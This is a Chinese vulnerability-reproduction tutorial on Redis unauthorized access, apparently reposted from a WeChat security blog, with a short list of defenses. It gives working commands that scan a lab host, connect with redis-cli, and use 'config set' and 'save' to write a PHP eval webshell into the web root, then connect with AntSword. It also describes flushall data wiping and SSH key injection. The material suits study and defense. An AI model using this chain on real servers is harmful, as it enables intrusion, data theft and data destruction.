Redis未授权访问漏洞

admin 2024年11月7日13:21:20评论7 views字数 1179阅读3分55秒阅读模式

 

一、前言

1. Redis介绍

REmote DIctionary Server(Redis) 是完全开源免费的,遵守BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

二、漏洞成因

  •  redis默认绑定在 0.0.0.0:6379,且防火墙未配置不信任IP禁止访问策略,redis直接暴露在公网
  • redis没有设置密码认证(一般为空),可以免密码远程登录redis服务。

三、漏洞危害

  • 攻击者可远程登录redis,导致敏感信息泄露。
  • 攻击者登录redis后,可更改redis设置,也可使用flushall命令,删除所有数据。
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
  • 如果redis以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

四、漏洞复现

PS:本次扫描,建立在一个代理的模式上,实战中有可能不需要proxychains 作为代理

1、扫描目标机器常规开放端口

└─$ proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080

Redis未授权访问漏洞

2、探测到6379端口,疑似redis

Redis未授权访问漏洞

3、疑似存在redis未授权访问,直接连接,连接成功

└─$ proxychains4 redis-cli -h 10.0.20.99 

Redis未授权访问漏洞

4、利用Redis写入Webshell-web路径下写一个phpshell

前提是目标机器开启Web服务,并且需要知道⽹站路径,还需要具有⽂件读写权限

proxychains4 redis-cli -h 10.0.20.99config set dir "C:/phpStudy/PHPTutorial/WWW/"config set dbfilename tx.phpset 1 "<?php @eval($_POST['tx']);?>"save

Redis未授权访问漏洞

5蚁剑连接

Redis未授权访问漏洞

6、查询系统信息

Redis未授权访问漏洞

五、防御方法

测试远程访问的修改方法反着走;

  • 设置密码
  • 设置访问ip
  • 开启防火墙
  • 修改服务端口..等等

-----------------------------------------------

本期漏洞复现就结束啦,下期见!

--------------------------------------------------

注意:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!~

原文始发于微信公众号(从放弃到入门):漏洞复现系列-Redis未授权访问漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月7日13:21:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis未授权访问漏洞https://cn-sec.com/archives/1820547.html

发表评论

匿名网友 填写信息